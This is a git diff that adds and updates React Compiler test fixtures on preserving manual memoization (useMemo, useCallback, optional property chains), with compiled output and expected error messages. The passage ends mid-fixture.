+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-existing-memoization-guarantees/lambda-with-fbt-preserve-memoization.js
@@ -0,0 +1,31 @@
+// @enablePreserveExistingMemoizationGuarantees
+import {fbt} from 'fbt';
+
+function Component() {
+  const buttonLabel = () => {
+    if (!someCondition) {
+      return <fbt desc="My label">{'Purchase as a gift'}</fbt>;
+    } else if (
+      !iconOnly &&
+      showPrice &&
+      item?.current_gift_offer?.price?.formatted != null
+    ) {
+      return (
+        <fbt desc="Gift button's label">
+          {'Gift | '}
+          <fbt:param name="price">
+            {item?.current_gift_offer?.price?.formatted}
+          </fbt:param>
+        </fbt>
+      );
+    } else if (!iconOnly && !showPrice) {
+      return <fbt desc="Gift button's label">{'Gift'}</fbt>;
+    }
+  };
+
+  return (
+    <View>
+      <Button text={buttonLabel()} />
+    </View>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.expect.md
index 60aa7fbf8ed2..e59226eb137f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function Foo() {
-  return <div> {", "}</div>;
+  return <div> {', '}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.js
index 461ac9017fcc..2e9bbb4bc8de 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-jsxtext-stringliteral-distinction.js
@@ -1,5 +1,5 @@
 function Foo() {
-  return <div> {", "}</div>;
+  return <div> {', '}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.expect.md
new file mode 100644
index 000000000000..d676bb8dad2e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.expect.md
@@ -0,0 +1,122 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        return identity(x.y.z); // accesses more levels of properties than the manual memo
+      },
+    });
+    // x.y as a manual dep only tells us that x is non-nullable, not that x.y is non-nullable
+    // we can only take a dep on x.y, not x.y.z
+  }, [x.y]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <ValidateMemoization inputs={[x.y]} output={result} />;
+}
+
+const input1 = {x: {y: {z: 42}}};
+const input1b = {x: {y: {z: 42}}};
+const input2 = {x: {y: {z: 3.14}}};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [input1],
+  sequentialRenders: [
+    input1,
+    input1,
+    input1b, // should reset even though .z didn't change
+    input1,
+    input2,
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import { useMemo } from "react";
+import { identity, ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(11);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x.y) {
+    t1 = identity({ callback: () => identity(x.y.z) });
+    $[0] = x.y;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const object = t1;
+  let t2;
+  if ($[2] !== object) {
+    t2 = object.callback();
+    $[2] = object;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t2) {
+    t3 = [t2];
+    $[4] = t2;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  const result = t3;
+  let t4;
+  if ($[6] !== x.y) {
+    t4 = [x.y];
+    $[6] = x.y;
+    $[7] = t4;
+  } else {
+    t4 = $[7];
+  }
+  let t5;
+  if ($[8] !== result || $[9] !== t4) {
+    t5 = <ValidateMemoization inputs={t4} output={result} />;
+    $[8] = result;
+    $[9] = t4;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  return t5;
+}
+
+const input1 = { x: { y: { z: 42 } } };
+const input1b = { x: { y: { z: 42 } } };
+const input2 = { x: { y: { z: 3.14 } } };
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [input1],
+  sequentialRenders: [
+    input1,
+    input1,
+    input1b, // should reset even though .z didn't change
+    input1,
+    input2,
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[{"z":42}],"output":[42]}</div>
+<div>{"inputs":[{"z":42}],"output":[42]}</div>
+<div>{"inputs":[{"z":42}],"output":[42]}</div>
+<div>{"inputs":[{"z":42}],"output":[42]}</div>
+<div>{"inputs":[{"z":3.14}],"output":[3.14]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.js
new file mode 100644
index 000000000000..445a908c39ac
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain-less-precise-deps.js
@@ -0,0 +1,35 @@
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        return identity(x.y.z); // accesses more levels of properties than the manual memo
+      },
+    });
+    // x.y as a manual dep only tells us that x is non-nullable, not that x.y is non-nullable
+    // we can only take a dep on x.y, not x.y.z
+  }, [x.y]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <ValidateMemoization inputs={[x.y]} output={result} />;
+}
+
+const input1 = {x: {y: {z: 42}}};
+const input1b = {x: {y: {z: 42}}};
+const input2 = {x: {y: {z: 3.14}}};
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [input1],
+  sequentialRenders: [
+    input1,
+    input1,
+    input1b, // should reset even though .z didn't change
+    input1,
+    input2,
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.expect.md
new file mode 100644
index 000000000000..9f16154c7011
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.expect.md
@@ -0,0 +1,117 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        return identity(x.y.z);
+      },
+    });
+  }, [x.y.z]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: {y: {z: 42}}}],
+  sequentialRenders: [
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import { useMemo } from "react";
+import { identity, ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(11);
+  const { x } = t0;
+  let t1;
+  if ($[0] !== x.y.z) {
+    t1 = identity({ callback: () => identity(x.y.z) });
+    $[0] = x.y.z;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const object = t1;
+  let t2;
+  if ($[2] !== object) {
+    t2 = object.callback();
+    $[2] = object;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t2) {
+    t3 = [t2];
+    $[4] = t2;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  const result = t3;
+  let t4;
+  if ($[6] !== x.y.z) {
+    t4 = [x.y.z];
+    $[6] = x.y.z;
+    $[7] = t4;
+  } else {
+    t4 = $[7];
+  }
+  let t5;
+  if ($[8] !== result || $[9] !== t4) {
+    t5 = <ValidateMemoization inputs={t4} output={result} />;
+    $[8] = result;
+    $[9] = t4;
+    $[10] = t5;
+  } else {
+    t5 = $[10];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: { y: { z: 42 } } }],
+  sequentialRenders: [
+    { x: { y: { z: 42 } } },
+    { x: { y: { z: 42 } } },
+    { x: { y: { z: 3.14 } } },
+    { x: { y: { z: 42 } } },
+    { x: { y: { z: 3.14 } } },
+    { x: { y: { z: 42 } } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[42],"output":[42]}</div>
+<div>{"inputs":[42],"output":[42]}</div>
+<div>{"inputs":[3.14],"output":[3.14]}</div>
+<div>{"inputs":[42],"output":[42]}</div>
+<div>{"inputs":[3.14],"output":[3.14]}</div>
+<div>{"inputs":[42],"output":[42]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.js
new file mode 100644
index 000000000000..a601957052dd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-conditional-property-chain.js
@@ -0,0 +1,31 @@
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        return identity(x.y.z);
+      },
+    });
+  }, [x.y.z]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: {y: {z: 42}}}],
+  sequentialRenders: [
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.expect.md
new file mode 100644
index 000000000000..13fdd5c15002
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.expect.md
@@ -0,0 +1,125 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x, y, z}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        return identity(x?.y?.z, y.a?.b, z.a.b?.c);
+      },
+    });
+  }, [x?.y?.z, y.a?.b, z.a.b?.c]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <Inner x={x} result={result} />;
+}
+
+function Inner({x, result}) {
+  'use no memo';
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: {y: {z: 42}}}],
+  sequentialRenders: [
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import { useMemo } from "react";
+import { identity, ValidateMemoization } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(11);
+  const { x, y, z } = t0;
+
+  x?.y?.z;
+  y.a?.b;
+  z.a.b?.c;
+  let t1;
+  if ($[0] !== x?.y?.z || $[1] !== y.a?.b || $[2] !== z.a.b?.c) {
+    t1 = identity({ callback: () => identity(x?.y?.z, y.a?.b, z.a.b?.c) });
+    $[0] = x?.y?.z;
+    $[1] = y.a?.b;
+    $[2] = z.a.b?.c;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const object = t1;
+  let t2;
+  if ($[4] !== object) {
+    t2 = object.callback();
+    $[4] = object;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  let t3;
+  if ($[6] !== t2) {
+    t3 = [t2];
+    $[6] = t2;
+    $[7] = t3;
+  } else {
+    t3 = $[7];
+  }
+  const result = t3;
+  let t4;
+  if ($[8] !== result || $[9] !== x) {
+    t4 = <Inner x={x} result={result} />;
+    $[8] = result;
+    $[9] = x;
+    $[10] = t4;
+  } else {
+    t4 = $[10];
+  }
+  return t4;
+}
+
+function Inner({ x, result }) {
+  "use no memo";
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: { y: { z: 42 } } }],
+  sequentialRenders: [
+    { x: { y: { z: 42 } } },
+    { x: { y: { z: 42 } } },
+    { x: { y: { z: 3.14 } } },
+    { x: { y: { z: 42 } } },
+    { x: { y: { z: 3.14 } } },
+    { x: { y: { z: 42 } } },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]
+[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.js
new file mode 100644
index 000000000000..85122e62be9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-deps-optional-property-chain.js
@@ -0,0 +1,36 @@
+// @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+
+import {useMemo} from 'react';
+import {identity, ValidateMemoization} from 'shared-runtime';
+
+function Component({x, y, z}) {
+  const object = useMemo(() => {
+    return identity({
+      callback: () => {
+        return identity(x?.y?.z, y.a?.b, z.a.b?.c);
+      },
+    });
+  }, [x?.y?.z, y.a?.b, z.a.b?.c]);
+  const result = useMemo(() => {
+    return [object.callback()];
+  }, [object]);
+  return <Inner x={x} result={result} />;
+}
+
+function Inner({x, result}) {
+  'use no memo';
+  return <ValidateMemoization inputs={[x.y.z]} output={result} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: {y: {z: 42}}}],
+  sequentialRenders: [
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+    {x: {y: {z: 3.14}}},
+    {x: {y: {z: 42}}},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.expect.md
new file mode 100644
index 000000000000..aead04aa9535
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.expect.md
@@ -0,0 +1,49 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {useHook} from 'shared-runtime';
+
+// useMemo values may not be memoized in Forget output if we
+// infer that their deps always invalidate.
+// This is technically a false positive as the useMemo in source
+// was effectively a no-op
+function useFoo(props) {
+  const x = [];
+  useHook();
+  x.push(props);
+
+  return useMemo(() => [x], [x]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.false-positive-useMemo-dropped-infer-always-invalidating.ts:15:9
+  13 |   x.push(props);
+  14 |
+> 15 |   return useMemo(() => [x], [x]);
+     |          ^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing memoization
+  16 | }
+  17 |
+  18 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.ts
new file mode 100644
index 000000000000..3265182c51df
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-dropped-infer-always-invalidating.ts
@@ -0,0 +1,21 @@
+// @validatePreserveExistingMemoizationGuarantees
+
+import {useMemo} from 'react';
+import {useHook} from 'shared-runtime';
+
+// useMemo values may not be memoized in Forget output if we
+// infer that their deps always invalidate.
+// This is technically a false positive as the useMemo in source
+// was effectively a no-op
+function useFoo(props) {
+  const x = [];
+  useHook();
+  x.push(props);
+
+  return useMemo(() => [x], [x]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.expect.md
index 4d12e7586249..9a092e3f228e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
 // This is a false positive as Forget's inferred memoization
 // invalidates strictly less than source. We currently do not
@@ -29,14 +29,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
-  10 |   const val = [1, 2, 3];
-  11 |
-> 12 |   return useMemo(() => {
-     |                  ^^^^^^^
-> 13 |     return identity(val);
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.false-positive-useMemo-infer-mutate-deps.ts:14:6
+  12 |   return useMemo(() => {
+  13 |     return identity(val);
 > 14 |   }, [val]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (12:14)
+     |       ^^^ This dependency may be modified later
   15 | }
   16 |
   17 | export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.ts
index d12f18d5330a..628c786550e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-infer-mutate-deps.ts
@@ -1,6 +1,6 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-import { identity } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {identity} from 'shared-runtime';
 
 // This is a false positive as Forget's inferred memoization
 // invalidates strictly less than source. We currently do not
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.expect.md
new file mode 100644
index 000000000000..f2bd513f57fe
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees:true
+import {useMemo} from 'react';
+import {arrayPush} from 'shared-runtime';
+
+/**
+ * Repro showing differences between mutable ranges and scope ranges.
+ *
+ * For useMemo dependency `x`:
+ * - mutable range ends after the `arrayPush(x, b)` instruction
+ * - scope range is extended due to MergeOverlappingScopes
+ *
+ * Since manual memo deps are guaranteed to be named (guaranteeing valid
+ * codegen), it's correct to take a dependency on a dep *before* the end
+ * of its scope (but after its mutable range ends).
+ */
+
+function useFoo(a, b) {
+  const x = [];
+  const y = [];
+  arrayPush(x, b);
+  const result = useMemo(() => {
+    return [Math.max(x[1], a)];
+  }, [a, x]);
+  arrayPush(y, 3);
+  return {result, y};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [1, 2],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.false-positive-useMemo-overlap-scopes.ts:23:9
+  21 |   const result = useMemo(() => {
+  22 |     return [Math.max(x[1], a)];
+> 23 |   }, [a, x]);
+     |          ^ This dependency may be modified later
+  24 |   arrayPush(y, 3);
+  25 |   return {result, y};
+  26 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.ts
new file mode 100644
index 000000000000..ade1c6219f4e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.false-positive-useMemo-overlap-scopes.ts
@@ -0,0 +1,31 @@
+// @validatePreserveExistingMemoizationGuarantees:true
+import {useMemo} from 'react';
+import {arrayPush} from 'shared-runtime';
+
+/**
+ * Repro showing differences between mutable ranges and scope ranges.
+ *
+ * For useMemo dependency `x`:
+ * - mutable range ends after the `arrayPush(x, b)` instruction
+ * - scope range is extended due to MergeOverlappingScopes
+ *
+ * Since manual memo deps are guaranteed to be named (guaranteeing valid
+ * codegen), it's correct to take a dependency on a dep *before* the end
+ * of its scope (but after its mutable range ends).
+ */
+
+function useFoo(a, b) {
+  const x = [];
+  const y = [];
+  arrayPush(x, b);
+  const result = useMemo(() => {
+    return [Math.max(x[1], a)];
+  }, [a, x]);
+  arrayPush(y, 3);
+  return {result, y};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [1, 2],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.expect.md
new file mode 100644
index 000000000000..ed2e61d8ee37
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+
+function Component({propA, propB}) {
+  return useCallback(() => {
+    if (propA) {
+      return {
+        value: propB.x.y,
+      };
+    }
+  }, [propA, propB.x.y]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propA: 1, propB: {x: {y: []}}}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA, propB.x.y]. Inferred less specific property than source.
+
+error.hoist-useCallback-conditional-access-own-scope.ts:5:21
+   3 |
+   4 | function Component({propA, propB}) {
+>  5 |   return useCallback(() => {
+     |                      ^^^^^^^
+>  6 |     if (propA) {
+     | ^^^^^^^^^^^^^^^^
+>  7 |       return {
+     | ^^^^^^^^^^^^^^^^
+>  8 |         value: propB.x.y,
+     | ^^^^^^^^^^^^^^^^
+>  9 |       };
+     | ^^^^^^^^^^^^^^^^
+> 10 |     }
+     | ^^^^^^^^^^^^^^^^
+> 11 |   }, [propA, propB.x.y]);
+     | ^^^^ Could not preserve existing manual memoization
+  12 | }
+  13 |
+  14 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.ts
new file mode 100644
index 000000000000..a75a3936d4c0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-conditional-access-own-scope.ts
@@ -0,0 +1,17 @@
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+
+function Component({propA, propB}) {
+  return useCallback(() => {
+    if (propA) {
+      return {
+        value: propB.x.y,
+      };
+    }
+  }, [propA, propB.x.y]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{propA: 1, propB: {x: {y: []}}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.expect.md
new file mode 100644
index 000000000000..a16ef317b09a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.expect.md
@@ -0,0 +1,93 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+import {identity, mutate} from 'shared-runtime';
+
